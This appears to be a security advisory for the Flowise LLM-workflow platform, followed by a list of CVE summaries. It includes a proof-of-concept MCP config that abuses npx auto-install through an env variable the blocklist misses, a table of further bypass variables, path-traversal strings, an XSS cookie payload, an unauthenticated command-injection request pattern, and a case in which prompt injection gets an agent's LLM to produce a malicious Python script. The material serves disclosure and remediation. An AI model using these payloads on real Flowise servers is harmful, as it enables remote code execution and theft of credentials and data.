Proof of concept
The following MCP server configuration bypasses the patch with CUSTOMMCPSECURITYCHECK=true:
json { "mcpServers": { "bypass": { "command": "npx", "args": ["malicious-package"], "env": { "npmconfigyes": "true" } } } }
Execution path:
1. validateCommandFlags passes, because args contains no blocked flags. 2. validateEnvironmentVariables passes, because npmconfigyes is not in the four-item blocklist. 3. npx auto-installs and executes the named package with the privileges of the Flowise process.
On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.
Additional bypass vectors (same root cause)
The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:
| Variable | Command | Effect | |---|---|---| | npmconfigprefix | npx | Redirects package installation to attacker-controlled path | | npmconfiguserconfig | npx | Loads attacker-controlled .npmrc configuration | | NODEPATH | node | Loads modules from attacker-controlled path | | PYTHONPATH | python3 | Loads modules from attacker-controlled path | | PYTHONSTARTUP | python3 | Executes a file on interpreter startup (interactive sessions only) |
Impact
Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.
Remediation
Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.
Adding the known dangerous variables to the blocklist (npmconfigyes, npmconfigprefix, npmconfiguserconfig, NODEPATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.
References
- CVE-2025-8943 - CWE-184: Incomplete List of Disallowed Inputs
Flowise before 3.1.0 contains a path traversal vulnerability in Faiss and SimpleStore vector store implementations that accept unsanitized basePath parameters from authenticated users. Attackers with valid API tokens can write vector store data to arbitrary filesystem locations, potentially enabling code execution or data exfiltration.
Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.
Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISEUSERNAME and FLOWISEPASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.
Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.
Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.
Flowise before 3.1.2 contains multiple OS command injection vulnerabilities in the Custom MCP Server feature due to incomplete command-flag validation and a regex bypass in local file access restrictions. An attacker with a Flowise account of any role, or API access with view/update permissions for chatflows, can configure a malicious MCP server to bypass the validateCommandFlags blocklist (for example, 'docker build' is not blocked, and 'npx --yes' is not blocked while only '-y' is) and the validateArgsForLocalFileAccess checks, resulting in execution of arbitrary commands on the Flowise host.
Flowise before 3.0.10 (affected versions 3.0.7 and earlier) contains an unverified email change vulnerability. An authenticated user can change the account email address, used as a login identifier and password-recovery channel, via the account profile endpoint without confirming the change to the original email address or re-entering the current password. By changing the recovery email, an attacker can take over the account and abuse password reset mechanisms.
Flowise before 3.1.2 contains an information disclosure vulnerability in the /api/v1/chatflows/apikey/:apikey endpoint. When the keyonly query parameter is omitted (the default), the endpoint returns not only the chatflows bound to the supplied API key but also all chatflows across every workspace that have no API key assigned, because the underlying query lacks any workspace filter. An attacker with a valid API key for one workspace can therefore retrieve the full ChatFlow configuration (including flowData with system prompts and node configurations, chatbotConfig, apiConfig, and credential IDs) of unprotected chatflows belonging to other workspaces.
Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.
Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.
This vulnerability allows remote attackers to bypass authentication on affected installations of Flowise. Authentication is not required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.1. The following CVEs are assigned: CVE-2026-41276.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the specific flaw exists within the run method of the AirtableAgents class. The issue results from the lack of proper sandboxing when evaluating an LLM generated python script. Using prompt injection techniques, an unauthenticated attacker with the ability to send prompts to a chatflow using the Airtable Agent node may convince an LLM to respond with a malicious python script that executes attacker controlled commands on the flowise server. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the text-to-speech generation endpoint (POST /api/v1/text-to-speech/generate) is whitelisted (no auth) and accepts a credentialId directly in the request body. When called without a chatflowId, the endpoint uses the provided credentialId to decrypt the stored credential (e.g., OpenAI or ElevenLabs API key) and generate speech. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GET /api/v1/public-chatflows/:id endpoint returns the full chatflow object without sanitization for public chatflows. Docker validation revealed this is worse than initially assessed: the sanitizeFlowDataForPublicEndpoint function does NOT exist in the released v3.0.13 Docker image. Both public-chatflows AND public-chatbotConfig return completely raw flowData including credential IDs, plaintext API keys, and password-type fields. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, a Mass Assignment vulnerability in the DocumentStore creation endpoint allows authenticated users to control the primary key (id) and internal state fields of DocumentStore entities. Because the service uses repository.save() with a client-supplied primary key, the POST create endpoint behaves as an implicit UPSERT operation. This enables overwriting existing DocumentStore objects. In multi-workspace or multi-tenant deployments, this can lead to cross-workspace object takeover and broken object-level authorization (IDOR), allowing an attacker to reassign or modify DocumentStore objects belonging to other workspaces. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the password reset functionality on cloud.flowiseai.com sends a reset password link over the unsecured HTTP protocol instead of HTTPS. This behavior introduces the risk of a man-in-the-middle (MITM) attack, where an attacker on the same network as the user (e.g., public Wi-Fi) can intercept the reset link and gain unauthorized access to the victim’s account. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, Flowise contains an authentication bypass vulnerability that allows an unauthenticated attacker to obtain OAuth 2.0 access tokens associated with a public chatflow. By accessing a public chatflow configuration endpoint, an attacker can retrieve internal workflow data, including OAuth credential identifiers, which can then be used to refresh and obtain valid OAuth 2.0 access tokens without authentication. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, an improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment. This vulnerability is fixed in 3.1.0.